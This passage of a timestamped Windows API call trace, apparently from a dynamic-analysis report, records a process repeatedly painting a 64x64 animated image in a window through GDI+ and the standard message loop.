(graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0143.185] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0143.185] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0143.185] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0143.185] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0143.186] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0143.186] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0143.186] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0143.186] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0143.186] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.186] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0143.186] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0143.186] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0143.187] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0143.187] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.187] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0143.187] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0143.187] GetCurrentObject (hdc=0x2b010b91, type=0x1) returned 0x1b00017 [0143.187] GetCurrentObject (hdc=0x2b010b91, type=0x2) returned 0x1900010 [0143.187] GetCurrentObject (hdc=0x2b010b91, type=0x7) returned 0x1a05067e [0143.187] GetCurrentObject (hdc=0x2b010b91, type=0x6) returned 0x18a002e [0143.187] SaveDC (hdc=0x2b010b91) returned 1 [0143.187] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffcc0407c3 [0143.187] GetClipRgn (hdc=0x2b010b91, hrgn=0xffffffffcc0407c3) returned 0 [0143.187] SelectClipRgn (hdc=0x2b010b91, hrgn=0xffffffff9c040b8a) returned 2 [0143.188] DeleteObject (ho=0xffffffffcc0407c3) returned 1 [0143.188] DeleteObject (ho=0xffffffff9c040b8a) returned 1 [0143.188] OffsetViewportOrgEx (in: hdc=0x2b010b91, x=0, y=0, lppt=0x26d5b60 | out: lppt=0x26d5b60) returned 1 [0143.188] GetNearestColor (hdc=0x2b010b91, color=0xffffff) returned 0xffffff [0143.188] CreateSolidBrush (color=0xffffff) returned 0xffffffffa4100190 [0143.188] FillRect (hDC=0x2b010b91, lprc=0x15d7c0, hbr=0xffffffffa4100190) returned 1 [0143.188] DeleteObject (ho=0xffffffffa4100190) returned 1 [0143.188] RestoreDC (hdc=0x2b010b91, nSavedDC=-1) returned 1 [0143.188] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.188] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2b010b91) returned 0x0 [0143.188] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc9e0dbd) returned 0x0 [0143.189] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.189] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0143.189] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0143.189] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0143.189] GetSystemMetrics (nIndex=42) returned 0 [0143.189] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0143.189] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0143.189] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0143.189] CoTaskMemFree (pv=0x1e91eca0) [0143.189] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0143.189] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0143.189] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0143.189] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0143.189] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x2b010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0143.190] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.190] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2b010b91) returned 0x0 [0143.190] SelectObject (hdc=0x2b010b91, h=0x185000f) returned 0x1a05067e [0143.190] DeleteDC (hdc=0x2b010b91) returned 1 [0143.190] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.190] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0143.190] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0143.190] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0143.190] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0143.190] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0143.190] WaitMessage () returned 1 [0143.305] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0143.306] IsWindowUnicode (hWnd=0x2031e) returned 1 [0143.306] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0143.306] TranslateMessage (lpMsg=0x15e910) returned 0 [0143.306] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0143.306] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0143.306] GetCurrentThreadId () returned 0xec0 [0143.306] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0143.306] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0143.306] IsWindowUnicode (hWnd=0x2031e) returned 1 [0143.306] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0143.306] TranslateMessage (lpMsg=0x15e910) returned 0 [0143.306] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0143.306] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0143.306] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0143.306] CreateCompatibleDC (hdc=0x3010b83) returned 0x2c010b91 [0143.307] SelectObject (hdc=0x2c010b91, h=0x1a05067e) returned 0x185000f [0143.307] GdipCreateFromHDC (hdc=0x2c010b91, graphics=0x15daf0) returned 0x0 [0143.307] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0143.307] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0143.307] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0143.307] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0143.307] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0143.307] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0143.307] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0143.308] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0143.308] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.308] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0143.308] GdipCreateRegion (region=0x15dc20) returned 0x0 [0143.308] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0143.308] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0143.308] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0143.308] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0143.308] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0143.308] GetSystemMetrics (nIndex=42) returned 0 [0143.308] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0143.308] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0143.308] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0143.308] CoTaskMemFree (pv=0x1e91eca0) [0143.308] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0143.308] GdipCreateRegion (region=0x15d710) returned 0x0 [0143.309] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0143.309] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0143.309] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0143.309] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0143.309] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0143.309] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0143.309] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0143.309] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0143.309] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0143.309] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0143.310] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0143.310] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.310] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0143.310] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0143.310] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0143.310] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0143.310] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.310] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0143.310] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0143.310] GetCurrentObject (hdc=0x2c010b91, type=0x1) returned 0x1b00017 [0143.310] GetCurrentObject (hdc=0x2c010b91, type=0x2) returned 0x1900010 [0143.311] GetCurrentObject (hdc=0x2c010b91, type=0x7) returned 0x1a05067e [0143.311] GetCurrentObject (hdc=0x2c010b91, type=0x6) returned 0x18a002e [0143.311] SaveDC (hdc=0x2c010b91) returned 1 [0143.311] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffff9d040b8a [0143.311] GetClipRgn (hdc=0x2c010b91, hrgn=0xffffffff9d040b8a) returned 0 [0143.311] SelectClipRgn (hdc=0x2c010b91, hrgn=0xffffffffcd0407c3) returned 2 [0143.311] DeleteObject (ho=0xffffffff9d040b8a) returned 1 [0143.311] DeleteObject (ho=0xffffffffcd0407c3) returned 1 [0143.311] OffsetViewportOrgEx (in: hdc=0x2c010b91, x=0, y=0, lppt=0x26d6498 | out: lppt=0x26d6498) returned 1 [0143.311] GetNearestColor (hdc=0x2c010b91, color=0xffffff) returned 0xffffff [0143.311] CreateSolidBrush (color=0xffffff) returned 0xffffffffa5100190 [0143.311] FillRect (hDC=0x2c010b91, lprc=0x15d7c0, hbr=0xffffffffa5100190) returned 1 [0143.311] DeleteObject (ho=0xffffffffa5100190) returned 1 [0143.311] RestoreDC (hdc=0x2c010b91, nSavedDC=-1) returned 1 [0143.312] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.312] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2c010b91) returned 0x0 [0143.312] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc9c0dbd) returned 0x0 [0143.312] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.312] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0143.312] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0143.312] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0143.312] GetSystemMetrics (nIndex=42) returned 0 [0143.312] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0143.312] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0143.312] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0143.312] CoTaskMemFree (pv=0x1e91eca0) [0143.312] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x14) returned 0x0 [0143.314] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0143.314] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0143.314] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0143.315] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0143.315] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x2c010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0143.315] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.315] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2c010b91) returned 0x0 [0143.315] SelectObject (hdc=0x2c010b91, h=0x185000f) returned 0x1a05067e [0143.315] DeleteDC (hdc=0x2c010b91) returned 1 [0143.315] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.315] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0143.315] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0143.315] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0143.315] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0143.315] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0143.315] WaitMessage () returned 1 [0143.446] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0143.446] IsWindowUnicode (hWnd=0x2031e) returned 1 [0143.446] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0143.446] TranslateMessage (lpMsg=0x15e910) returned 0 [0143.446] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0143.446] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0143.446] GetCurrentThreadId () returned 0xec0 [0143.446] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0143.446] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0143.447] IsWindowUnicode (hWnd=0x2031e) returned 1 [0143.447] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0143.447] TranslateMessage (lpMsg=0x15e910) returned 0 [0143.447] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0143.447] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0143.447] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0143.447] CreateCompatibleDC (hdc=0x3010b83) returned 0x2d010b91 [0143.447] SelectObject (hdc=0x2d010b91, h=0x1a05067e) returned 0x185000f [0143.447] GdipCreateFromHDC (hdc=0x2d010b91, graphics=0x15daf0) returned 0x0 [0143.447] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0143.447] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0143.448] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0143.448] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0143.448] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0143.448] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0143.448] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0143.448] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0143.448] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.448] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0143.449] GdipCreateRegion (region=0x15dc20) returned 0x0 [0143.449] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0143.449] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0143.449] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0143.449] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0143.449] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0143.449] GetSystemMetrics (nIndex=42) returned 0 [0143.449] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0143.449] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0143.449] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0143.449] CoTaskMemFree (pv=0x1e91eca0) [0143.449] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0143.449] GdipCreateRegion (region=0x15d710) returned 0x0 [0143.449] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0143.449] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0143.450] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0143.450] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0143.450] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0143.450] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0143.450] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0143.450] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0143.450] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0143.450] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0143.451] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0143.451] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.451] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0143.451] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0143.451] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0143.451] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0143.451] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.451] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0143.451] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0143.451] GetCurrentObject (hdc=0x2d010b91, type=0x1) returned 0x1b00017 [0143.451] GetCurrentObject (hdc=0x2d010b91, type=0x2) returned 0x1900010 [0143.452] GetCurrentObject (hdc=0x2d010b91, type=0x7) returned 0x1a05067e [0143.452] GetCurrentObject (hdc=0x2d010b91, type=0x6) returned 0x18a002e [0143.452] SaveDC (hdc=0x2d010b91) returned 1 [0143.452] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffce0407c3 [0143.452] GetClipRgn (hdc=0x2d010b91, hrgn=0xffffffffce0407c3) returned 0 [0143.452] SelectClipRgn (hdc=0x2d010b91, hrgn=0xffffffff9e040b8a) returned 2 [0143.452] DeleteObject (ho=0xffffffffce0407c3) returned 1 [0143.452] DeleteObject (ho=0xffffffff9e040b8a) returned 1 [0143.452] OffsetViewportOrgEx (in: hdc=0x2d010b91, x=0, y=0, lppt=0x26d7790 | out: lppt=0x26d7790) returned 1 [0143.452] GetNearestColor (hdc=0x2d010b91, color=0xffffff) returned 0xffffff [0143.452] CreateSolidBrush (color=0xffffff) returned 0xffffffffa6100190 [0143.452] FillRect (hDC=0x2d010b91, lprc=0x15d7c0, hbr=0xffffffffa6100190) returned 1 [0143.453] DeleteObject (ho=0xffffffffa6100190) returned 1 [0143.453] RestoreDC (hdc=0x2d010b91, nSavedDC=-1) returned 1 [0143.453] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.453] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2d010b91) returned 0x0 [0143.453] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc9a0dbd) returned 0x0 [0143.453] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.453] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0143.453] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0143.453] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0143.453] GetSystemMetrics (nIndex=42) returned 0 [0143.453] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0143.453] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0143.453] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0143.453] CoTaskMemFree (pv=0x1e91eca0) [0143.453] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0143.454] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0143.454] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0143.454] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0143.454] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x2d010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0143.454] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.454] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2d010b91) returned 0x0 [0143.454] SelectObject (hdc=0x2d010b91, h=0x185000f) returned 0x1a05067e [0143.454] DeleteDC (hdc=0x2d010b91) returned 1 [0143.454] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.454] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0143.454] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0143.455] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0143.455] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0143.455] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0143.455] WaitMessage () returned 1 [0143.574] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0143.574] IsWindowUnicode (hWnd=0x2031e) returned 1 [0143.574] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0143.574] TranslateMessage (lpMsg=0x15e910) returned 0 [0143.574] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0143.574] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0143.574] GetCurrentThreadId () returned 0xec0 [0143.574] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0143.574] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0143.574] IsWindowUnicode (hWnd=0x2031e) returned 1 [0143.574] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0143.574] TranslateMessage (lpMsg=0x15e910) returned 0 [0143.574] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0143.574] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0143.575] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0143.575] CreateCompatibleDC (hdc=0x3010b83) returned 0x2e010b91 [0143.575] SelectObject (hdc=0x2e010b91, h=0x1a05067e) returned 0x185000f [0143.575] GdipCreateFromHDC (hdc=0x2e010b91, graphics=0x15daf0) returned 0x0 [0143.575] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0143.575] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0143.575] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0143.575] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0143.575] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0143.575] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0143.575] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0143.576] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0143.576] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.576] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0143.576] GdipCreateRegion (region=0x15dc20) returned 0x0 [0143.576] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0143.576] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0143.576] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0143.576] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0143.576] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0143.576] GetSystemMetrics (nIndex=42) returned 0 [0143.576] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0143.576] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0143.576] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0143.577] CoTaskMemFree (pv=0x1e91eca0) [0143.577] GetClientRect (in: hWnd=0x2031e, 